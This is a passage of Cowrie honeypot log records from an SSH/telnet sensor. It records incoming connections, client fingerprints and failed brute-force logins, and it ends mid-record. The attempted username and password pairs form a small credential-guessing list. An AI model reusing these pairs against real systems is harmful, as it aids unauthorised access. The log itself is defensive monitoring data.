{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:ed:09:69:48:8f:dc:65:10:18:ef:00:a3:eb:92:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbCaoYs2kAEPLFOpeV5CAzROxjF3O26wpIcbDIbpKuv5OsVyVX/sGnyqAi/fP3xDe4cTOcx0n1e5wpgwTrEARDPutVisyU7HrIT39KYw8LVJFSqKStUtT0RYODKqzYPlocS+Q4t3BERgMiTt6Gpw8ZiFEj0+5S4RTexW+kSzSqZ41ckNtv57AHtIpJ7wRb6j40Wvtd0y9aE8IeMeDFHPPq5WIyq0jfo/iCn3qeEpkRc1WkV3ojbaoLdSHv1VCjEyJOr/BTpUHNUDPPssdHwfxSugwmylFEnmaWQ5P7OudeYdKXYPTj3GmjYRJwot0AWzYJG4RECNC+BhNhF/r2qJC9r/440xUbMqSjuLKNbh/0jrZkvZbuMYzHWtMJMlVAqRVTVeTsfsKQF1JTznAp1V/Supitr4yhLey2pbwPicUlHX69CdsI+Ix18n8LPqye8YIJelvtDEzfPwZ1FSuEky/WNwgVz6J17AabsEjmbReFFrE9TuhY/P9aEKioJHiZobQD55LeS6Vygoz2DfJs1nvJ5kgSjSEPZJpzVDJ+rgpHax5VOqadP/VZDQpIdFi3CY0DU4xX/jSOg8A2QndyI9D9OecZmB8jx18uL9cQXWOCfEzMYUxnTNmp9l9EwooUZalPqJBPYxR2YHKjPjrEWGvbrVb/6jWpiL3uZplnUm2M0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:ed:09:69:48:8f:dc:65:10:18:ef:00:a3:eb:92:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.902441Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:ed:09:69:48:8f:dc:65:10:18:ef:00:a3:eb:92:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbCaoYs2kAEPLFOpeV5CAzROxjF3O26wpIcbDIbpKuv5OsVyVX/sGnyqAi/fP3xDe4cTOcx0n1e5wpgwTrEARDPutVisyU7HrIT39KYw8LVJFSqKStUtT0RYODKqzYPlocS+Q4t3BERgMiTt6Gpw8ZiFEj0+5S4RTexW+kSzSqZ41ckNtv57AHtIpJ7wRb6j40Wvtd0y9aE8IeMeDFHPPq5WIyq0jfo/iCn3qeEpkRc1WkV3ojbaoLdSHv1VCjEyJOr/BTpUHNUDPPssdHwfxSugwmylFEnmaWQ5P7OudeYdKXYPTj3GmjYRJwot0AWzYJG4RECNC+BhNhF/r2qJC9r/440xUbMqSjuLKNbh/0jrZkvZbuMYzHWtMJMlVAqRVTVeTsfsKQF1JTznAp1V/Supitr4yhLey2pbwPicUlHX69CdsI+Ix18n8LPqye8YIJelvtDEzfPwZ1FSuEky/WNwgVz6J17AabsEjmbReFFrE9TuhY/P9aEKioJHiZobQD55LeS6Vygoz2DfJs1nvJ5kgSjSEPZJpzVDJ+rgpHax5VOqadP/VZDQpIdFi3CY0DU4xX/jSOg8A2QndyI9D9OecZmB8jx18uL9cQXWOCfEzMYUxnTNmp9l9EwooUZalPqJBPYxR2YHKjPjrEWGvbrVb/6jWpiL3uZplnUm2M0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:54.905371Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:29:55.119539Z","src_ip":"137.59.54.34","session":"71d6b4bcc879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:00.201757Z","src_ip":"8.210.75.243","session":"e8d1a7963c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":48118,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df59678a67e","protocol":"ssh","message":"New connection: 162.144.64.128:48118 (10.17.0.5:22) [session: 0df59678a67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:03.250597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:03.254907Z","src_ip":"162.144.64.128","session":"0df59678a67e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:03.345481Z","src_ip":"162.144.64.128","session":"0df59678a67e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"norway","password":"Oslo#Crypto@P@ss","message":"login attempt [norway/Oslo#Crypto@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:03.621737Z","src_ip":"162.144.64.128","session":"0df59678a67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:05.012053Z","src_ip":"162.144.64.128","session":"0df59678a67e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16942381858826,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:05.956035Z","src_ip":"170.64.224.25","session":"8ea8e467bea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1e4dfe0996","protocol":"telnet","message":"New connection: 107.6.151.170:40834 (159.203.135.109:23) [session: 7f1e4dfe0996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:06.174113Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:08.946083Z","src_ip":"8.210.75.243","session":"ae93e31c76e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":51506,"dst_ip":"10.17.0.5","dst_port":22,"session":"b384a58fca6b","protocol":"ssh","message":"New connection: 164.92.161.148:51506 (10.17.0.5:22) [session: b384a58fca6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:15.732035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:15.736769Z","src_ip":"164.92.161.148","session":"b384a58fca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:15.822650Z","src_ip":"164.92.161.148","session":"b384a58fca6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:16.199625Z","src_ip":"164.92.161.148","session":"b384a58fca6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2492,"dst_ip":"159.203.135.109","dst_port":22,"session":"1071aa1b9816","protocol":"ssh","message":"New connection: 196.188.93.169:2492 (159.203.135.109:22) [session: 1071aa1b9816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:17.148643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:17.152608Z","src_ip":"196.188.93.169","session":"1071aa1b9816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:17.288425Z","src_ip":"164.92.161.148","session":"b384a58fca6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:17.325096Z","src_ip":"196.188.93.169","session":"1071aa1b9816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password2","message":"login attempt [root/password2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:18.045688Z","src_ip":"196.188.93.169","session":"1071aa1b9816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:19.221207Z","src_ip":"196.188.93.169","session":"1071aa1b9816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":33946,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c51addf3139","protocol":"ssh","message":"New connection: 139.59.208.49:33946 (10.17.0.5:22) [session: 9c51addf3139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:21.146574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:21.160178Z","src_ip":"139.59.208.49","session":"9c51addf3139","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:21.246070Z","src_ip":"139.59.208.49","session":"9c51addf3139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123123","message":"login attempt [abc/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:21.570659Z","src_ip":"139.59.208.49","session":"9c51addf3139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":39602,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7672c5aac59","protocol":"ssh","message":"New connection: 198.1.75.59:39602 (10.17.0.5:22) [session: d7672c5aac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.305615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.309870Z","src_ip":"198.1.75.59","session":"d7672c5aac59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.392026Z","src_ip":"198.1.75.59","session":"d7672c5aac59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cumberland123","message":"login attempt [root/cumberland123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.643939Z","src_ip":"198.1.75.59","session":"d7672c5aac59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.662435Z","src_ip":"139.59.208.49","session":"9c51addf3139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:22.685035Z","src_ip":"8.210.75.243","session":"a07da312da66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:24.586148Z","src_ip":"198.1.75.59","session":"d7672c5aac59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cf94e94ff1a","protocol":"ssh","message":"New connection: 38.242.143.220:49406 (10.17.0.5:22) [session: 3cf94e94ff1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:30.201039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:30.204931Z","src_ip":"38.242.143.220","session":"3cf94e94ff1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:30.295366Z","src_ip":"38.242.143.220","session":"3cf94e94ff1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wif","password":"wif123","message":"login attempt [wif/wif123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:30.585109Z","src_ip":"38.242.143.220","session":"3cf94e94ff1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:31.655669Z","src_ip":"8.210.75.243","session":"35798e29a622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:31.681470Z","src_ip":"38.242.143.220","session":"3cf94e94ff1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38896,"dst_ip":"159.203.135.109","dst_port":23,"session":"4149e33c9592","protocol":"telnet","message":"New connection: 107.6.151.170:38896 (159.203.135.109:23) [session: 4149e33c9592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:35.926040Z"}
{"eventid":"cowrie.session.closed","duration":0.004839420318603516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:35.930757Z","src_ip":"107.6.151.170","session":"4149e33c9592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":53066,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fa6120139b2","protocol":"ssh","message":"New connection: 173.236.141.65:53066 (10.17.0.5:22) [session: 4fa6120139b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:37.546757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:30:37.551632Z","src_ip":"173.236.141.65","session":"4fa6120139b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gc